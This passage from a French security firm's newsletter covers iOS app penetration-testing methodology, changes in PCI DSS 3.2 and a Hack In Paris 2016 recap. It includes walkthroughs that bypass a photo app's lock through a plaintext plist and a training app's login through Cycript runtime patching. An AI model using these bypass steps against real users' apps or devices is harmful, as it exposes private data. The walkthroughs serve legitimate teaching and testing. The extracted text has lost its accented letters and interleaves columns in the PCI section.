d'informations. Dans certains cas les informations obtenues ne seront pas utiles, mais dans d'autres cas il sera possible
de runir de prcieux renseignements (sources, mots de passe, documentation d'API, etc.). Trve de billeveses (merci
Desproges), passons l'analyse statique.

La notion danalyse statique permet d'obtenir des informations sur le comportement d'un programme sans avoir
l'excuter. En clair, on se limite l'application pr et post installation, mais sans s'intresser son comportement dyna-
mique.

Dans le cadre dun test dintrusion, le code source nest pas toujours fourni avec les applications. Et, tout comme avec
les fichiers APK dAndroid, les outils de dcompilation ont parfois des difficults apporter des rsultats exploitables
rapidement. Il sera d'ailleurs beaucoup plus difficile de "reverser" une application iOS quun APK (binaire vs bytecode java).
Le challenge n'est, pour ainsi dire, pas comparable.

cela s'ajoute une documentation qui n'est pas toujours jour ou tout simplement absente (du ct d'Apple comme des
outils). Il sera alors ncessaire de recourir des outils d'analyses de binaires afin de comprendre la logique de l'application,
d'identifier des chanes de caractres spcifiques, etc. On pourra citer les outils comme IDA ou encore les excellents otool,
class-dump, hopper, radare2, sans omettre Clutch et les lignes de commandes usuelles (grep, strings, xxd, etc.).

D'autres solutions peuvent apporter un soutien non ngligeable, mais attention la facilit du "tout automatique" (iNalyzer
par exemple).

Deux techniques vont donc s'opposer selon les situations :

+tude du code source transmis (Bote blanche) ;


+tude statique du binaire (Reverse) ;
Que va-t-on rechercher prcisment ?

+Informations dans les fichiers de configuration ;


+Informations dans les fichiers de prfrences ;
+Informations codes en dur dans l'application (identifiants, cls d'API, etc.) ;
+Librairies utilises ( jour, prsence d'exploits, etc.) ;
+Chiffrement applicatif (connus ou rinvention de la roue) ;
+Gestion des permissions et des contrles d'accs ;
+Gestion des donnes (toujours d'un point de vue statique donc on ne parle pas des donnes en mmoire) ;
+Gestion des points d'entres et des sorties (validation, contrles, typage, etc.) ;
+Verbosit et exposition des logs, informations de debug, rsidus de dveloppement, etc.
+Etc. 17
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Difficile d'tre exhaustif une nouvelle fois, mais ces quelques exemples offrent dj quelques pistes d'analyse. cela
s'ajoutent les contrles des mcanismes propres toutes (ou la majorit) des applications mobiles, Web ou autres. On
pourra noter :

+ Authentification (rejeu, bruteforce, usurpation d'identit, certificats, rgles sur le couple login / mot de passe, tokens,
OTP, SSO, etc.) ;

+ Autorisation (gestion des permissions sur les fichiers, contournement des restrictions d'accs / des rles / des flags /
des rponses attendues, etc.) ;

+ Gestion / Stockage des donnes (chiffrement utilis et implmentation ralise, Cloud, rpertoire systme, tmp -
ou dans la sandbox de l'application, types de donnes - personnelles, bancaires, signatures, identifiants, base de donnes
utilise, etc.) ;

+Gestion des sessions (conservation d'informations sensibles, dure de validit, format de stockage, etc.) ;
+ Gestion des communications avec le serveur distant (certificate pinning, contrles des certificats SSL/TLS, protocoles
utiliss, transmission chiffre ou en clair, etc.) ;

+Divulgation d'informations (logs, caches, exceptions, capture dcran, etc.) ;


l'instar des vulnrabilits rencontres dans les applications Web, il faudra donc prendre en considration :

+Des injections de code HTML/JavaScript (XSS) ;


+Des injections de commandes (plus rares, mais les surprises sont vite arrives) ;
+Des injections de code SQL ;
+La gestion des tokens anti-CSRF ;
+La gestion des cookies ;
+Sans omettre la recherche de chanes de caractres ou d'expressions rgulires pouvant donner de prcieuses
informations (mots de passe, cls, URL/IP, etc.).

Afin de donner d'autres ides au lecteur, on ajoutera galement :

+Ltude du cache des Web Views qui peut s'avrer relativement gnreux en informations ;
+La recherche de traces dans les bases SQLite permettant de rcuprer des infos mme aprs suppression des donnes
(ex. avec https://github.com/aramosf/recoversqlite) ;

+ Ou encore l'tude des mcanismes de communication dits InterApp (changes de donnes entre applications - cf.
https://developer.apple.com/library/ios/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommu-
nication/Inter-AppCommunication.html) ;

18
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Les tests dintrusion iOS

> Bonus #1 : contournement dun schma de verrouillage


Contexte

PatternLockLite est une application iOS permettant le stockage scuris de photos.


Ces dernires sont protges par un schma de verrouillage (Android like). Pour ce
premier exemple, nous allons simplement analyser les fichiers de lapplication afin de
dterminer si une mthode de contournement est possible

Contournement de la mthode dauthentification

Lors de la premire utilisation de lapplication, aucun schma de verrouillage nest dis-


ponible. Ainsi, avant de linitialiser, nous allons crer un indicateur temporel sur
le systme. L'objectif est ici de s'en servir de repre afin d'observer les changements
intervenus depuis ce marqueur jusqu' un instant T, en l'occurrence la saisie du schma.
Ce mcanisme s'apparente une mise en avant / un zoom destin identifier une suite
d'vnements systme sur un laps de temps matris et choisi.

# Cration de lindicateur temporel

ipad:/tmp root# touch /tmp/timestamp

Une fois le schma de verrouillage cr, il devient possible danalyser lensemble des fichiers crs / modifis / supprims :

# Recherche des fichiers crs / modifis / supprims

iPad:/tmp root# find / \( -type f -a -newer /tmp/timestamp \) -o -type d -a \( -name dev


-o -name proc -o -name sys \) -prune | grep -v -e "^/dev$" -e "^/proc$" -e "^/sys$"
[..]
/private/var/mobile/Library/Logs/mobileactivationd.log
/private/var/mobile/Library/Preferences/com.apple.springboard.plist
/private/var/mobile/Library/Preferences/com.maxgunner.androidlocklite.plist

Le dernier fichier de la liste (rduite pour plus de visibilit), nous fait de lil de par son nom relativement explicite (com.
maxgunner.androidlocklite.plist).

Sagissant dun fichier de configuration plist, il est ncessaire de le


convertir au format XML afin de pouvoir le lire (ou encore d'utiliser
Xcode, etc.) :

# Conversation du fichier de configuration plist au format XML

iPad:/tmp root# plutil -convert xml1 com.maxgunner.androidlocklite.


plist
Converted 1 files to XML format

Il ne reste plus qu afficher le contenu du fichier afin de confirmer ou


dinfirmer que celui-ci est intressant.
Notre intuition a t la bonne, en effet, la chane de caractre
74123 de la cl code nest autre que les chiffres du schma
de verrouillage.
19
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Laccs aux photos normalement scuris est alors possible, le tout, sans que le pro-
pritaire ne sen rende compte.

Il est galement possible de rinitialiser la valeur de schma de verrouillage en


supprimant la chane de caractre correspondante la cl code. Lapplication agira
alors comme frachement installe et demandera la cration du ssame.

> Analyse dynamique dune application


Analyse de lapplication et de ces interactions systme

En fonction de la surface dexposition de lapplication, cette tape peut vite tre


gourmande en temps. Nanmoins, cest souvent ici que lon est amen trouver des
ppites.

Il ny a pas de recette miracle concernant cette analyse, il est ncessaire de couvrir


lensemble des interactions avec le systme et cela passe par les entres utilisateurs
dans lesquelles nous allons tenter dinjecter tout type de code (XSS, SQL, XML, etc.).

Dans la mme ligne, une vrification des contrles de donnes doit tre effectue. En effet, de la mme manire quen
2016, il parat impensable pour une application Web digne de ce nom deffectuer des contrles uniquement en JavaScript, il
en est de mme pour les applications iOS. Toute vrification uniquement faite par lapplication pourra tre contourne grce
au binme infernal (non non, pas Arnaud et Rgis, soyez vigilant ;)) : class-dump et cycript (cf. Bonus 2 : contournement
dun formulaire dauthentification).

Nous continuerons notre recherche du ssame grce aux fichiers crs/supprims/modifis sur le systme. En effet, il
nest pas rare de voir des fichiers dont laccs est cens tre scuris, finalement accessible (cf. Bonus 1 : contournement
dun schma de verrouillage). Linsertion de cls dans le keychain peut galement permettre douvrir de nouveaux axes
danalyse.

Enfin, et nous finirons par-l : les logs ! Bien souvent oublis, ces derniers prsentent souvent des informations
croustillantes (nom dutilisateur, mot de passe, token de session). Toutes ces informations peuvent tre utiles pour les
phases de dveloppement, mais ne doivent en aucun cas tre divulgues par une application disponible en production.

Analyse du rseau

Lanalyse rseau risque dtre relativement similaire des tests dintrusion classiques. Les tests vont principalement se
porter sur lutilisation de protocoles de communication HTTP.

Nanmoins, dans le cas dune application lourde, il nest pas impossible que des donnes transitent sur des protocoles de
communication non pris en charge par Burp. Il est alors ncessaire dutiliser tcpdump (ou des alternatives) afin dtre en
mesure danalyser la totalit du trafic rseau.

Il est bon de noter que lutilisation de tcpdump ne ncessite pas le jailbreak de lappareil. En effet, lutilisation de la
bibliothque libimobiledevice (https://github.com/libimobiledevice/libimobiledevice) couple la commande rvictl (Re-
mote Virtual Interface Tool) permet de crer une interface virtuelle quil est alors possible de monitorer.

# Obtention de lUDID de lappareil connect

$ ./idevice_id -l
c0237da2309f6ca0b087b56f9a4781912703d546

# Cration de linterface virtuelle rvi0

$ sudo rvictl -x c0237da2309f6ca0b087b56f9a4781912703d546


Stopping device c0237da2309f6ca0b087b56f9a4781912703d546 [SUCCEEDED]

# Analyse du trafic rseau grce linterface nouvellement monte

$ tcpdump -i rvi0 -w out.pcap


20
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Les tests dintrusion iOS

> Bonus #2 : contournement dun formulaire dauthentification


Contexte

Damn Vulnerable iOS Application (DVIA) [http://damnvulnerableiosapp.com/] est une application iOS vulnrable de
nombreuses failles de scurit. Son principal objectif est de fournir une plate-forme pour sentraner lanalyse de la
robustesse des applications iOS.

Contournement de la mthode dauthentification

Lapplication dispose dun formulaire dauthentification (Login Method 1) rclamant un identifiant ainsi quun mot de passe.
Aprs avoir ralis une analyse rseau complte (wireshark) ne rvlant rien, il est possible den dduire que le contrle
est effectu localement par lapplication et peut alors tre contourn de plusieurs manires :

+En modifiant dynamiquement le comportement de lapplication ;


+En patchant lapplication afin que ce contrle ne soit pas pris en compte.
Le patch de lapplication ncessite de sortir lartillerie lourde et requiert la matrise dun dsassembleur (IDA Pro) ainsi
que dun diteur hexa dcimal (Hex Friend).

Nous allons donc nous orienter vers la modification dynamique du comportement de lapplication grce au binme :
class-dump-z et Cycript.

Il est possible danalyser le binaire la recherche dun angle dattaque permettant de contourner lauthentification grce
class-dump :

[ rsenet-XMCO]
$ ./class-dump ~/Desktop/Payload/DamnVulnerableIOSApp.app/DamnVulnerableIOSApp

Au sein de linterface RuntimeManipulationDetailsVC, la fonction isLoginValidated semble nous faire de lil.

21
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Nous allons donc tenter de la redfinir grce Cycript. Pour faire cela, il est ncessaire dattacher Cycript au processus de
lapplication DVIA :

Une fois Cycript attach (cycript p <PID>), il est possible daccder lensemble des variables / fonctions dfinies au sein
de lapplication. Il est alors possible de redfinir la fonction isLoginValidated afin de lui faire retourner une valeur vraie :

cy# RuntimeManipulationDetailsVC.messages[isLoginValidated] =
function () {return YES ;}
{}

Ainsi, toute tentative dauthentification se soldera par un succs.

> Analyse en bote blanche / Audit de code


Dans le cas des tests dintrusions raliss avec le code source, il existe des outils danalyse statique conus pour les
applications mobiles. Ces derniers sont parfois utiliss par les dveloppeurs lors de la recherche de bugs. Toutefois, nous
pouvons galement profiter de ces derniers afin d'identifier des failles de conception. La rgle avec de telles solutions est
de bien garder en tte qu'il ne s'agit que d'appoints, rien ne remplacera le ct artisanal et lil humain capable de com-
prendre le code quil lit, faisant la balance entre les problmatiques de scurit ainsi que les enjeux du client.

Un audit de code, c'est avant tout une forme de reverse engineering. Pour cela, il faut :

+Comprendre la logique du/des dveloppeurs ;


+S'imprgner des spcificits du langage tudi ;
+ Identifier les points cls du programme impliquant de comprendre en amont les risques mtier pour l'entreprise, la
logique business ;

+ Cartographier le fonctionnement de l'application et avoir la fois une vue macroscopique et microscopique du pro-
gramme ;

+Parvenir monter un environnement de travail fonctionnel si l'on veut tester dynamiquement le comportement afin
de valider ou non ses observations ;

+Prvoir une boussole, une torche, et s'assurer d'avoir tous ses vaccins jour.
Ok, c'est bien sympa tout a, mais sur quoi se concentrer exactement ? Avec plusieurs milliers de lignes, il apparat
inconcevable de passer sur toute la structure d'un programme. Il est alors ncessaire de travailler de manire intelligente
(ou dessayer) afin de se focaliser sur les composants risque.

On cherchera tout d'abord ce que l'on trouve de manire commune tous les programmes, et ce, quel que soit le langage
utilis (informations dans les messages de logs, prsence de chanes en dur dans le code, conservation des donnes sur
l'appareil quoi/comment/o, prsence de chiffrement applicatif, librairies et fonctions utilises, etc.)

Dans un second temps, on se concentrera sur les spcificits propres chaque application : gestion des sessions et des
erreurs, mcanisme d'authentification, gestion des entres/sorties, etc.

Une nouvelle fois, il faut tenir compte du contexte de l'application et des spcificits de l'audit (cadre ARJEL par exemple).


22
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Les tests dintrusion iOS

> Recommandations
Les tests dintrusion sur les applications mobiles rvlent trs souvent le mme type de points faibles alors que des actions
relativement simples peuvent tre mises en place afin dassurer un niveau de scurit oprationnel :

+ Effectuer les contrles de donnes (contrles d'accs, protection des entres utilisateur / injections de code, upload,
etc.) au niveau du serveur et du ct applicatif (la scurit ne doit jamais tre porte uniquement par le client) ;

+Sassurer du chiffrement des communications (SSL/TLS, etc.) ainsi que des donnes stockes localement ;
+ Ne divulguer aucune information sensible (fichier de log, cache, documents dans les archives, dsactivation de
laffichage des mots de passe, etc.) et penser supprimer les informations de dveloppement ;

+Raliser des contrles pour tout ce qui touche les attaques de type "race condition", " buffer overflows", contournement
des mcanismes d'authentification, etc.

+Renforcement de la scurit si ncessaire (certificate pinning, maitrise des caches, contrles des lments de la GUI,
etc.)

Lutilisation dun MDM permettra galement de renforcer la scurit des applications iOS dune flotte de priphriques en
entreprise. En effet, grce ce dernier, il est possible de sassurer de la prsence des dernires mises jour du systme
dexploitation, de forcer la mise en place dun code de dverrouillage, etc.

L'ensemble de ces recommandations peut tre retrouv dans le guide de dveloppement d'Apple :
https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/

23
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
> PCI DSS v3.2 : analyse des volutions majeures du standard
La version 3.2 du PCI DSS a t publie le 28 avril 2016. Comme les versions mineures prcdentes, cette dernire apporte
son lot de clarifications avec une revue du vocabulaire utilis (wording) ainsi que des explications supplmentaires pour
certaines exigences (guidance) mais pas seulement. En effet, des exigences ont t modifies, voire ajoutes. Au sein
de cet article, nous passons en revue tous les changements les plus structurants de cette nouvelle version.

par Julien MEYER et Adrien GUINAULT

Le coin PCI DSS


Chris Potter

> Changement du standard PCI DSS (CardHolder Data). Ce document doit minima dcrire en
dtail les algorithmes, les protocoles et les cls (avec leur
Chapitres 1 12 date dexpiration) utiliss, ainsi que linventaire des HSM et
autres SCD employs. Celui-ci devra bien entendu tre tenu
On retrouve ainsi 47 clarifications, 3 additionnal jour en cas de modification de lenvironnement.
guidance ainsi que 8 volutions des exigences. Exigence 3.5.1
Documentation
Voici un rsum des changements apports par cette Applicable uniquement aux Services Provider
version 3.2 : Applicable partir du 1er fvrier 2018

+Laffichage dun PAN (Primary Account Number) non


masqu ( savoir si plus des 6 premiers et 4 derniers
+ La procdure de gestion du changement doit tre
enrichie afin dy inclure des points de contrle vrifier
caractres sont affichs) doit dsormais tre justifi par un en cas de changement significatif, et ce, afin de sassurer
besoin mtier. Dans les versions antrieures du PCI DSS, que lensemble des exigences est encore respect. Cette
seuls les PAN affichs en entier (l'ensemble des caractres) procdure doit contenir des lments techniques, comme
devaient ltre. lapplication des standards de scurit, linstallation des
Exigence 3.3 FIM, antivirus, etc., mais aussi des lments documentaires,
Documentation comme la mise jour du NETDIAG (schma rseau). Le QSA
Applicable immdiatement (Qualified Security Assessors) vrifiera lors de laudit, pour
un chantillon donn, que lensemble des procdures a
+Un document doit dsormais dcrire larchitec-
24 ture de chiffrement en place pour la protection des CHD
bien t suivi (tickets de changements, etc.).
Exigence 6.4.6

Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Procdure responsables de la socit (Executive Management).
Documentation Exigence 12.4.1
Applicable partir du 1er fvrier 2018 Documentation
Applicable partir du 1er fvrier 2018
+ Une authentification multifacteur est dsormais
obligatoire pour tout accs distant au CDE (Cardholder Data
Applicable uniquement aux Services Provider

Environment), mais galement pour tout accs d'adminis-


tration non console au CDE. Ainsi, tout accs SSH, GUI ou ap-
+ Une revue trimestrielle doit tre effectue afin de
sassurer que les employs suivent bien la politique de
plicatif aux serveurs et aux quipements rseau du CDE doit scurit. Ainsi, une procdure doit tre dfinie pour
tre effectu au travers dune authentification multifacteur confirmer que le personnel ralise bien la revue journalire
pralable. Cette authentification nest pas requise directe- des logs, la revue des rgles de firewall, lapplication des
ment sur chacun des composants, mais doit minima tre standards de scurit ou encore la procdure de
ralise pour laccs au rseau. Cette authentification doit changement. Cette revue devra tre documente et signe
reposer sur des facteurs dauthentification diffrents (et par le responsable du programme de conformit (exigence
non pas deux mots de passe), savoir quelque chose que 12.4.1).
lon sait (un mot de passe) et quelque chose que lon a Exigence 12.11
(un token, un certificat, etc.) ou que lon est (biomtrie). Documentation
XMCO recommande d'isoler le CDE et dutiliser un accs VPN Procdure
ou un bastion dadministration bas sur une authentifica- Applicable partir du 1er fvrier 2018
tion double facteur, couvrant ainsi l'ensemble des services Applicable uniquement aux Services Provider
non-console d'administration.
Exigences 8.3, 8.3.1 et 8.3.2
Documentation
+ Enfin, l'exigence 6.5 a t mise jour. Il est dsormais
impos que les dveloppeurs intervenant sur un environne-
Procdure ment certifi soient forms aux techniques de dveloppe-
Applicable partir du 1er fvrier 2018 ment scuris chaque anne.
Exigence 6.5a
+ Une procdure de dtection des dysfonctionnements
critiques des lments de scurit doit dsormais tre
Applicable immdiatement

mise en place. Les lments de scurit comprennent,


par exemple, les firewalls, les IDS/IPS, le logiciel dintgri- L'annexe A2 : Exigences relatives l'utilisation de SSL/
t, les antivirus, les mcanismes daudit, les contrles de TLS
segmentation, etc. La procdure doit quant elle inclure la
dtection de ces dysfonctionnements en temps rel, ain- Concernant la migration de TLS 1.0, une annexe spcifique
si quun plan de rponse comprenant la restauration des a t ajoute (A2).
fonctions de scurit, lidentification de la dure et la cause Les nouvelles implmentations ne doivent pas supporter
de ces dysfonctionnements, la mise jour de lanalyse de les protocoles TLS 1.0 et SSL v3.
risque, etc.
Exigences 10.8, 10.8.1 Les POS/POI peuvent continuer dutiliser des versions
Documentation obsoltes de SSL et TLS condition quil soit prouv
Procdure quaucune vulnrabilit nest exploitable dans leur contexte.
Applicable partir du 1er fvrier 2018
Applicable uniquement aux Services Provider Aprs le 30 juin 2016, les services provider doivent,
minima, proposer les protocoles TLS 1.1 et/ou 1.2 leurs
+ Les tests dintrusion sur les points de segmentation
sont dsormais raliser tous les 6 mois et chaque
clients. Le protocole TLS 1.0 peut encore tre utilis en cas de
besoin prcis dans les termes du point suivant.
changement. Il est possible que ces tests soient raliss par
la socit audite condition que le testeur soit qualifi et La date butoir de migration a t repousse au 30 juin
quil ait une indpendance vis--vis des personnes mettant 2018. Aprs cette date, lexception des POS/POI, plus
en uvre les mcanismes de segmentation. Par exemple, aucun chiffrement faible ne sera accept.
une personne de la cellule scurit qui nintervient pas sur En attendant le 30 juin 2018, un plan dattnuation des
les quipements rseau peut raliser ce test. Il devra garder risques et de migration devra tre fourni et valid par le
les preuves de ces tests et les prsenter au QSA lors de lau- QSA.
dit annuel. XMCO pourra, bien entendu, tre sollicit pour
raliser ces tests.
Exigence 11.3.4.1 L'annexe A3 : DESV
Procdure
Applicable partir du 1er fvrier 2018 Une seconde annexe a galement t ajoute. Nomme
Applicable uniquement aux Services Provider "Designated Entities Supplemental Validation (DESV), cette
dernire contient des exigences additionnelles qui pourront
+ Une personne responsable du programme de
conformit PCI DSS doit tre clairement identifie. Celle-
sappliquer sur demande de lacqureur ou des marques de
carte. Ce sera notamment le cas pour des socits qui ont
ci devra tablir une charte du programme de conformit dj subi une compromission.
PCI DSS et sera en charge de la communication avec les 25
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Le coin PCI DSS

> Changement des exigences appli- omises et mriteraient d'tre rajoutes : la ralisation de
tests d'intrusion et de scans de vulnrabilit externes serait
cables au sein des SAQ deux contrles ncessaires pour assurer qu'un pirate n'est
pas en mesure de compromettre le serveur et de changer
le code source de l'application (risque principal).
Le passage en version 3.2 du PCI DSS a galement
entran une mise jour des diffrents SAQ (Self-Assessment
Questionnaire). Nous vous proposons ici un aperu des
modifications apportes aux SAQ les plus utiliss.

Les SAQ intgrent donc les mises jour du PCI DSS 3.2,
mais pas seulement. Plusieurs exigences qui n'taient pas
prsentes auparavant le sont maintenant.

SAQ A

Le SAQ A a t renforc avec lajout de 7 nouvelles


exigences maintenant applicables (redirection ou intgra-
tion d'un formulaire de paiement via une iframe).

Le renforcement des exigences concerne la scurisation des


mots de passe et la gestion des accs.

En effet, le SAQ A impose dornavant les exigences


suivantes :

+ Les mots de passe par dfaut des quipements rseau


et des systmes doivent tre modifis (#2.1)
SAQ A-EP

+Les utilisateurs se connectant aux systmes du CDE


doivent possder un identifiant unique (#8.1.1), et doivent
Les plus grandes volutions du standard affectent
principalement le SAQ A-EP. En effet, 51 exigences ont t
rajoutes la version initiale qui en comportait dj 143.
s'authentifier grce un mot de passe, un token ou un
accs biomtrique (#8.2).
Nous ne dtaillerons pas toutes ces dernires, mais les

+ Les mots de passe doivent tre d'un minimum de 7


caractres et contenir des chiffres et des lettres (#8.2.3)
principaux ajouts au sein des diffrents chapitres :

+En cas de dpart d'un employ, ces accs doivent tre


immdiatement rvoqus (#8.1.3)
Chapitre 1
Passage de 8 20 exigences. Les modifications concernent
principalement la configuration des firewall et des

+Aucun compte partag ne doit tre utilis (#8.5) routeurs qui a t durcie, et la documentation associe, avec
notamment:

+Un plan de rponse incident doit tre en place en cas


de brche systme (#12.10.1) + La formalisation des documents relatifs au mcanisme
de segmentation (#1.x)
Ces exigences additionnelles restent des bonnes pratiques
et ne vont pas gnrer de changements structurants pour +La revue des rgles firewall tous les 6 mois (#1.1.6)
les audits. Elles permettront de renforcer la scurit de ces
systmes qui reposent sur un tiers pour le traitement des +Le durcissement des configurations firewall (#1.2.2,
#1.3.x)
donnes bancaires.

26 De notre point de vue, deux exigences importantes ont t + lutilisation d'un pare-feu personnel pour les postes de
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
travail utiliss pour l'administration (#1.4) rseau et des processus de surveillance associs (#11.4)

+ La diffusion des documentations (#1.5) Chapitre 12


Pas de changement

Chapitre 2 et 3
Pas de changement

Chapitre 4, 5 et 7
Ajout d'une exigence. Il est dsormais ncessaire de
documenter les politiques et procdures de scurit
concernant le chiffrement des donnes sur les rseaux
publics, l'utilisation des antivirus, et la gestion des accs
(#4.3, #5.4, #7.3)

Chapitre 6
Ajout de 5 exigences mineures concernant le dvelop-
pement scuris et le maintien de la scurit en cas de
changement significatif de l'infrastructure (#6.5.4, #6.5.5,
#6.5.6, #6.7)

Chapitre 8
Passage de 14 23 exigences. Les changements concernent
principalement les lments suivants : SAQ P2PE-HW

+
jours
Dsactivation des comptes inactifs depuis plus de 90 Le SAQ P2PE-HW destin aux marchands qui utilise des
terminaux de paiement P2PE, a t simplifi. Les exigences

+ Re-authentification obligatoire des utilisateurs aprs 15


#3.3 (masquage du PAN) et #4.2 (interdiction d'envoyer des
numros de carte par email ou messagerie) ne sont plus
min dinactivit applicables. Cela est d au fait que le marchand nest plus

+ Obligation dutiliser une authentification multi-facteurs


cens avoir accs aux donnes de paiement. Par exemple,
le numro de la carte ne doit plus apparatre sur les tickets
pour tous les accs distants et tous les accs administratifs commerant produits par les terminaux de paiement P2PE.
au CDE

+Diffusion des documentations (#1.5, #4.3, #5.4, , #8.8)


+Rdaction de politique relative l'authentification
(#8.4)

Chapitre 9
Pas de changement

Chapitre 10
Passage de 17 30 exigences. Les changements concernent
principalement les lments suivants :

+ Renforcement de la politique d'audit (#10.1, #10.2.3,


#10.2.6, #10.2.7)

+ Mise en place d'un serveur NTP scuris (#10.4.x)


+ Renforcement de la scurisation des logs afin
d'empcher leur altration (#10.5.x) SAQ B

Le SAQ B n'a subi aucun changement.


Chapitre 11
Ajout d'une exigence concernant l'utilisation d'un IDS/IPS 27
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Le coin PCI DSS

SAQ B-IP Tous les documents (standard, SAQ, AOC, etc.) sont
disponibles ladresse suivante :
Rduction de 83 80 exigences, mais avec l'ajout de
l'exigence relative l'implmentation de l'authentification https://fr.pcisecuritystandards.org/document_library
multifacteurs pour les accs administratifs au CDE.

SAQ-D

Le SAQ-D, quant lui, intgre tous les changements relatifs


la version 3.2 du standard PCI DSS dcrit dans la premire
partie de cet article.

28
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
> Confrences scurit

Retour sur ldition 2016


de Hack In Paris (HIP)

Par William BOISSELEAU et Jean-Yves KRAPF

problmatiques associes au vote lectronique, ainsi quun


> Jour 1 modle de rsolution.

Voting between sharks Le vote lectronique prsente plusieurs avantages : il


Jesus Choliz (@jesuscholiz) & Sandra Guasch (@sandra_ permet daugmenter la participation, de diminuer les cots
guasch) - SCYTL de gestion, de faciliter laccs au vote pour les personnes

+
mobilit rduite et dobtenir des rsultats plus prcis quun
Vido vote traditionnel. De plus en plus de pays choisissent cette
https://www.youtube.com/watch?v=uQ0-vmJlDyo&in- mthode de vote. Il devient donc important de proposer
dex=1&list=PL3UAg9Zuj1yJ_6pySNwbJWi_M1RqJU7Wf une solution scurise.

La prsentation douverture de la confrence Hack in Leur modle sapplique pour les machines au sein des bu-
Paris concernait le vote lectronique. Deux membres de reaux de vote, ainsi que pour les terminaux personnels (or-
la socit SCYTL prsentaient une tude des diffrentes dinateurs, smartphones). 29
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
De ce fait, les problmatiques suivantes ont t identifies : Whisper in the Wire: Voice Command Injection Reloaded
Chaouki Kasmi (@EMHacktivity), Jose Lopes Esteves (@
+ Le modle doit permettre de sassurer que le vote
reste confidentiel et anonyme. La confidentialit peut tre
lopessecurity) - ANSSI

assure par un chiffrement de bout en bout. Les donnes


relatives au citoyen (informations dauthentification, IP,
+ Slides
h t t p s : // w w w. r e s e a r c h g a t e . n e t / p u b l i c a -
horodatage) peuvent tre supprimes par un service tiers. tion/304789264_20160630_Whisper_in_the_Wire-Voice_
Command_Injection_Reloaded
+ Lintgrit du vote doit galement tre assure,
par un mcanisme de suivi jusquau dchiffrement. Le
votant est capable de vrifier le contenu de son vote. Les
+ Vido
https://www.youtube.com/watch?v=SypffKE3caE&in-
organisateurs peuvent galement sassurer que le vote sest dex=2&list=PL3UAg9Zuj1yJ_6pySNwbJWi_M1RqJU7Wf
correctement droul de bout en bout via une preuve
divulgation nulle de connaissance (Zero Knowledge Proof). Cette prsentation faisait suite la confrence Injection
de commandes vocales sur ordiphone prsente au SSTIC
+ Les clefs de dchiffrement doivent tre tenues par les
membres administratifs locaux, quivalents de ceux des
2015. Lan dernier, les membres de lANSSI avaient dj
montr quil tait possible de dclencher la reconnais-
personnes en charge du dpouillement. Laccs aux clefs sance vocale de nos smartphones en utilisant des ondes
de dchiffrement ne peut tre possible que grce une inaudibles. Cette mthode prsentait des limitations de
mthode de secret partag, comme un partage de clef se- portes, ainsi que la ncessit dutiliser du matriel assez
crte de Shamir. La gnration des clefs est effectue de- imposant, donc peu discret.
puis un lieu isol, sous le contrle des membres respon-
sables de llection.

+ Les risques de manipulation et de coercion de vote


sont les mmes que pour un vote traditionnel. SCYTL pro-
pose de rendre ce type de pratique plus difficile en passant
par lusage de mots de passe usage unique (OTP) via un
canal de communication diffrent de celui du vote, rendant
toute attaque massive relativement couteuse. Ils suggrent
galement dutiliser un systme dans lequel de multiples
votes sont possibles pour un mme votant, et dont seul le
dernier vote peut tre pris en compte. Enfin, il est gale-
ment possible de mettre en place un systme rpondant de
la mme faon que les identifiants soient corrects ou non,
mais de prendre en compte uniquement les votes dont les
identifiants ont t valids ct serveur.
Ces limitations peuvent aujourdhui tre contournes en
se servant des proprits de couplages dondes. Ils nous
Lan dernier, les membres de lANSSI ont en effet montr quil tait possible de parler notre
tlphone via linjection dondes au travers du rseau lec-
avaient dj montr quil tait possible de trique (pour un tlphone branch sur le secteur). Cette
dclencher la reconnaissance vocale de nos technique permet des attaques une distance bien plus
smartphones en utilisant des ondes importante du terminal mobile. Elle a t dmontre au
inaudibles travers de la prsentation de 3 scnarios :

Une dmonstration de leur outil tait galement propose


+ De manire directe, en injectant au niveau du char-
geur USB du tlphone ;

+
durant la confrence Hack In Paris.
Au travers des transformateurs, en injectant sur le
Cette prsentation a permis de montrer que le choix de rseau lectrique ;

+En injectant sur le rseau lectrique, au travers dun


mettre en oeuvre un vote lectronique est aujourdhui
techniquement possible, et quil ne se limite qu un choix
moral et politique. PC, lorsque le tlphone y est branch en USB.

Des questions ont t souleves sur la problmatique de la Ces injections ne semblent pas perturber lutilisation des
scurit physique des terminaux. Les orateurs ont bott en autres appareils branchs sur la mme source lectrique.
touche, en faisant comprendre que leur modle prenait en
compte le risque de terminal vrol.
Un facteur aggravant cette attaque est le nombre de
contextes prdifinis permettant dactiver cette fonctionnali-
t sur notre tlphone. Le manque de personnalisation des
mot-cls dclencheurs et de lauthentification de la voix ex-
30
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Hack In Paris 2016

posent encore un peu plus nos tlphones. Plusieurs problmes sont rencontrs dans le cadre dana-
lyses dattaques web :
De plus, les diteurs forcent, dans certains cas, lutilisation
de ces fonctionnalits. Par exemple, lactivation de com-
mande vocale est autorise par dfaut lorsque le tlphone
+ Le principal problme est que lapprentissage est
dpendant du contexte dutilisation (architecture, type de
est en charge. donnes, etc.).

Making and breaking machine learning anomaly detec-


+ Il est ncessaire didentifier les nouvelles attaques,
nayant encore jamais t constates.
tors in real life
Clarence Chio (@cchio) +Aussi, les produits retournent aujourdhui beaucoup
de faux positifs. De par la varit des entres fournies,
+ Slides
http://www.slideshare.net/codeblue_jp/making-breaking-
il est difficile de suivre et nettoyer les rsultats obtenus.
Lintervention humaine reste ncessaire.
machine-learning-anomaly-detectors-in-real-life-by-cla-
rence-chio-code-blue-2015 + Les attaquants essayeront toujours de contourner le
